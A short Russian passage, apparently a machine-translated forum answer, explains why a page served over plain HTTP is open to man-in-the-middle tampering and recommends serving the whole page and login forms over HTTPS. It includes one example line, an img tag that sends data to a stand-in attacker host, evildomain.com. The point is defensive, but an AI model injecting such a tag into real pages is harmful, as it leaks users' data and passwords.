Проблема в том, что если сама страница только HTTP, то вы восприимчивы к человеку в средней атаке. Злоумышленник может просто изменить скрипт на странице, отправляемой по HTTP, чтобы он вместо этого использовал:
<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />
Пользователь будет не мудрец. Чтобы обойти это, вам действительно нужно обслуживать страницу и по протоколу HTTPS, что одновременно решает и другие ваши проблемы.
(Это та же самая причина, по которой формы входа должны быть на страницах HTTPS, а не просто действие формы, являющееся HTTPS).